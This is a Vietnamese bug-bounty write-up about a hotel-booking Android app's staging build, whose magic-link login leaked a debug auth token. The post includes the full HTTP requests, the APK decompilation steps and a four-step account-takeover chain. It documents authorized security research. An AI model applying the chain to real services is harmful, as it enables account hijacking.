28 tết… kiếm tiền lì xì cho con cháu

hkln1
tradahacking
Published in
7 min readFeb 21, 2018
  • Năm nay tôi nghỉ tết sớm nên 28 đã chuẩn bị xong mọi việc để đón tết. Ngẫm lại năm vừa rồi là một năm tương đối thành công với cá nhân tôi, hầu hết các mục tiêu đều hoàn thành. Mặc dù có những việc không được như ý, nhưng nhìn chung là ổn. Về mặt gia đình thì không được suôn sẻ lắm, nhưng mọi người cũng đã cố gắng cùng nhau vượt qua… Hi vọng năm mới gia đình tôi sẽ không có sóng gió, mọi người đều bình an và vui vẻ :)
  • Mấy ngày nay bù đầu bù cổ thực hiện nghĩa vụ làm con, làm chồng, làm cha, chẳng có thời gian dành cho bản thân… Hôm nay rảnh rỗi, tính làm điều gì đó để tự thưởng cho mình :D. Nghĩ tới nghĩ lui một hồi cũng ko biết làm gì :(. Trước giờ tôi có ba sở thích: một là chơi game, hai là nuôi cá kiểng, còn lại là niềm vui trong công việc. Mặc dù chơi game là sở thích nhưng tôi không dám chơi, tôi sợ tôi bị nghiện. Tôi biết tính mình, một khi đã thích cái gì là lao vào ngày đêm. Giai đoạn này, tôi không có thời gian dành cho nó, đợi vài năm nữa rồi tính. Còn cá kiểng cũng vậy, chắc đợi khi tôi già, kiếm chỗ nào đó ở ẩn rồi mới thỏa mãn sở thích này. Còn lại là niềm vui công việc,nhưng chẳng lẽ tết nhất lại làm việc. Tết thì phải nghỉ ngơi chứ, cả một năm làm điên cuồng rồi còn gì :)). Loay hoay một hồi, tôi chợt nghĩ một cách bệnh hoạn — Thôi ko có gì làm thì giờ kiếm tiền lì xì cho con cháu — Haha… Vãi, đúng bệnh hoạn, cuối cùng cũng tìm ra một lý do “chính đáng” để bào chữa cho việc “ngứa nghề” của mình… Lần này chọn một target mobile app.
  • Chương trình này có hai ứng dụng, một là IOS, hai là Android. Tôi chọn Android để test. Test IOS phiền phức trong việc setup môi trường lắm, mà tôi thì đang làm biếng. Hehe. Nó cho cái link Dropbox để tải file apk về (bản này build cho môi trường staging). Sau khi cài nó lên Genymotion, đăng ký tài khoản và dạo một vòng, thấy cũng kha khá chức năng. Nhưng tính tôi, khi test ứng dụng gì cũng focus vào các chức năng quan trọng trước, vì nếu có lỗi cũng là lỗi nặng (bounty sẽ cao :))). Đây là ứng dụng đặt khách sạn. Đầu tiên, tôi thử chức năng đăng nhập. Màn hình đăng nhập có một ô nhập email (username)- tôi gọi là màn hình 1, sau khi nhập xong nó sẽ chuyển qua màn hình khác. Theo đúng thiết kế truyền thống, màn hình này sẽ bắt ta nhập vào mật khẩu. Nhưng ứng dụng này chuyển qua một màn hình có hai option (tôi gọi là màn hình 2).
  • Màn hình 2 này cho chúng ta hai sự lựa chọn, một là chọn option nhập mật khẩu truyền thống, hai là bấm “Send My Link” — đây là option sẽ gửi đến email tôi nhập ở màn hình 1 một đường link mà khi click vào tôi sẽ truy cập thẳng vào ứng dụng (đường link này đính kèm với một đoạn string mã hóa để authentication). Thấy lạ, tôi quyết định test option “Send My Link”.
  • Request khi submit ở màn hình 1:

GET /v3/customers/get_link?email=testseku5@gmail.com HTTP/1.1
Host: xxx.com
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en
X-App-Version: 10.17.0
X-App-Platform: Android;unknown;Google Nexus 4–5.0.0 — API 21–768x1280;320dpi;sdk5.0;768x1184;phone
User-Agent: Test/10.17.0 (Android;unknown;Google Nexus 4–5.0.0 — API 21–768x1280;320dpi;sdk5.0;768x1184;phone;okhttp)

  • Response trả về:

{“auto_generated_password”:false,”auth_send_url”:”/v3/customers/c8d5a81d-03f7–4b6b-b853-d20b98a64cdd/send_auth_email”}

  • Request ở màn hình 2 (sau khi bấm nút “Send My Link”)

PUT /v3/customers/c8d5a81d-03f7–4b6b-b853-d20b98a64cdd/send_auth_email HTTP/1.1
Content-Length: 0
Host: xxx.com
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en
X-App-Version: 10.17.0
X-App-Platform: Android;unknown;Google Nexus 4–5.0.0 — API 21–768x1280;320dpi;sdk5.0;768x1184;phone
X-App-Device: 10fb8d76d664b991
X-App-Country: US
X-App-Time-Zone: America/New_York
X-Google-Ad-Id: 19195b6c-d02e-452e-9345–43adb635fc01
X-App-ADID: 6621b655a30e5a69a96bdeb07c8c83a1
X-Android-Id: 10fb8d76d664b991
User-Agent: Test/10.17.0 (Android;unknown;Google Nexus 4–5.0.0 — API 21–768x1280;320dpi;sdk5.0;768x1184;phone;okhttp)

  • Response trả về:

{“__debug_short_lived_auth_token”:”wuckgJ2QZMmEPqtzBJ4D”}

Chà, thì ra là vậy. Tôi tóm tắt lại process đăng nhập một chút:

  • Khi nhập email (đã signup) tại màn hình 1, response trả về một link mà ứng dụng gọi là auth_send_url (auth_send_url”:”/v3/customers/c8d5a81d-03f7–4b6b-b853-d20b98a64cdd/send_auth_email”). Sau đó ứng dụng chuyển qua màn hình 2, khi bấm nút “Send My Link”, ứng dụng sẽ thực thi PUT request với giá trị auth_send_url này. Theo đúng thiết kế, một link có chứa authentication key sẽ được gửi đến email testseku5@gmail.com. Nhưng nhìn kỹ response trả vềcủa PUT request {“__debug_short_lived_auth_token”:”wuckgJ2QZMmEPqtzBJ4D”}. Wow, thật là lạ, nó trả về một giá trị debug_short_lived_auth_token. Tới đây, mềnh có thể suy đoán đường link gửi đến email sẽ đính kèm giá trị này :)). Đáng lẽ nó không nên trả về giá trị này ở response, nó chỉ việc gửi link tới email thôi. Bởi vì hacker có thể takeover bất cứ tài khoản nào dựa vào 2 request trên. Haha, mọi chuyện quá đơn giản phải không, submit thôi… Nhưng đời không bao giờ đẹp như vậy. Có một số vấn đề phát sinh…:(. Bản build này ở môi trường staging, server nó không gửi bất cứ email xác thực hay active gì cả. Vì vậy, tuy tôi có auth_token nhưng tôi ko có link thì làm sao tái tạo lỗi. Nếu tại thời điểm này tôi submit, cho là suy luận tôi đúng đi nữa nhưng tôi không chứng minh được lỗi thì mọi thứ cũng vô nghĩa. Chẳng lẽ giờ bó tay sao ! Một ý tưởng lóe lên “Sao mình không cài bản production trên Play Store, bản này chắc chắn có gửi mail hehe”. Nhưng số tôi quá nhọ, bản production trên Play Store không có chức năng này. Có lẽ nó là chức năng mới thử nghiệm :((. Giờ chỉ còn 1 cách là reverse cái app thoai, hi vọng tìm được cái link $$$$ đó.
  • Dùng dex2jar-2.0 để convert file apk sang jar: d2j-dex2jar.bat xxx.apk
  • Sau đó mở file xxx-dex2jar.jar bằng jadx-0.6.1-build230
  • Rồi File/Save all. Sau đó mở source bằng Sublime. Vấn đề ta cần giải quyết là tìm link auth_token. Các request ở trên đều có từ “customers” trong url, nên ta bắt đầu search bằng từ khóa này.
  • Hehe, đó nó kìa ^ ^!

96: @GET(“v3/customers/by_short_token”)
97 Call<Customer> signInWithShortToken(@Query(“short_token”) String str, @Header(“X-App-DSession”) String str2);

  • Sau đó, tôi tái tạo request dựa trên source

GET /v3/customers/by_short_token?short_token=wuckgJ2QZMmEPqtzBJ4D HTTP/1.1
Content-Length: 0
Host: xxx.com
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en
X-App-Version: 10.17.0
X-App-Platform: Android;unknown;Google Nexus 4–5.0.0 — API 21–768x1280;320dpi;sdk5.0;768x1184;phone
X-App-Device: 10fb8d76d664b991
X-App-Country: US
X-App-Time-Zone: America/New_York
X-Google-Ad-Id: 19195b6c-d02e-452e-9345–43adb635fc01
X-App-ADID: 6621b655a30e5a69a96bdeb07c8c83a1
X-Android-Id: 10fb8d76d664b991
User-Agent: Test/10.17.0 (Android;unknown;Google Nexus 4–5.0.0 — API 21–768x1280;320dpi;sdk5.0;768x1184;phone;okhttp)

  • WOWWWWW. Nó thực thi thành công, response trả về:

{“id”:”4143799",”account”:{“account_currency”:{“default_credit_amount”:25,”description”:”USD (United States)”,”id”:1,”incidentals_authorization_amount”:100,”iso_code”:”USD”,”disabled_payment_types”:[]},”active_team_profile_id”:null,”auth_token”:”a97pisiDX7PuGZwqxLjF”,”bookings_count”:0,”concur_enrolled”:false,”credit_balance”:0,”credit_balance_in_display_currency”:0,”credit_expiration_date”:null,”display_currency”:{“default_credit_amount”:25,”description”:”USD (United States)”,”id”:1,”incidentals_authorization_amount”:100,”iso_code”:”USD”,”disabled_payment_types”:[]},”email”:”testseku5@gmail.com”,

— — — snip — —

  • Tuy nhiên giờ làm sao để login. Manh mối của tôi hiện tại chỉ có 2 cái, một là khi thực thi request /v3/customers/by_short_token?short_token=wuckgJ2QZMmEPqtzBJ4D, nó set cookie trên header của response trả về, hai là body của response trả về có giá trị ”auth_token”:”a97pisiDX7PuGZwqxLjF”. Tôi đoán nó dùng một trong 2 cái này để xác thực. Tôi lập tức đăng nhập bình thường và quan sát xem nó xác thực bằng cái gì. Tôi thấy nó tất cả request sau đăng nhập xác thực bằng giá trị Authorization: Basic YTk3cGlzaURYN1B1R1p3cXhMakY= trên header. Không giống với 2 cái tôi nêu ở trên. Tôi bắt đầu hệ thống lại tất cả dữ kiện đã có. Sau khi thử các tài khoản khác nhau, tôi nhận thấy mỗi lần thực hiện request by_short_token, giá trị set cookie trên header của response luôn thay đổi, nhưng giá trị Authorization: Basic gắn với mỗi tài khoản là cố định và giá trị auth_token trong response trả về cũng cố định. Nên tôi suy đoán giá trị set cookie trên header là ko liên quan, vấn đề chỉ nằm ở Authorization: Basicauth_token. Vậy tại sao 2 giá trị này lại khác nhau trong cùng 1 tài khoản. Nghĩ mãi, nghĩ mãi cuối cùng tôi cũng nghĩ ra. Một sự thật đơn giản đến đau lòng…. Base64 encode giá trị a97pisiDX7PuGZwqxLjFYTk3cGlzaURYN1B1R1p3cXhMakY= ĐCMN !!!
  • Để tôi tóm tắt lại cách khai thác lỗi này (Account takeover).

1- Thực thi request 1 với giá trị email/account muốn chiếm.

2- Sau đó, thực thi PUT request với giá trị auth_send_url trong response trả về từ request 1.

3- Sau đó, tái tạo và thực thi request by_short_token với giá trị __debug_short_lived_auth_token trong response trả về từ request 2

4- Encode Base64 giá trị auth_token trong response trả về từ request 3. Đây chính là giá trị xác thực/session của mỗi tài khoản.

  • Đến thời điểm này, tôi đã giải quyết hết mọi vấn đề, giờ chi còn cách $$$$ có vài bước nữa thôi. Tôi submit với tâm trạng vô cùng phấn khởi và tự tin (chương trình này public đã lâu, đây lại là lỗi nặng nhưng chưa fix, khả năng duplicate thấp)…15 phút sau, điện thoại tôi pong pong lên cái chuông quen thuộc, hé hé… Mở mail ra….NOT APPLICABLE ! WTF :-o Với lời giải thích ko thể phủ hơn: “ The XXX’s security team mentioned that this is a non-issue in their production since they intentionally show the token for debugging purposes on the staging environment”.

P/S: Tội nghiệp con cháu không có tiền lì xì tết năm nay =)).

--

--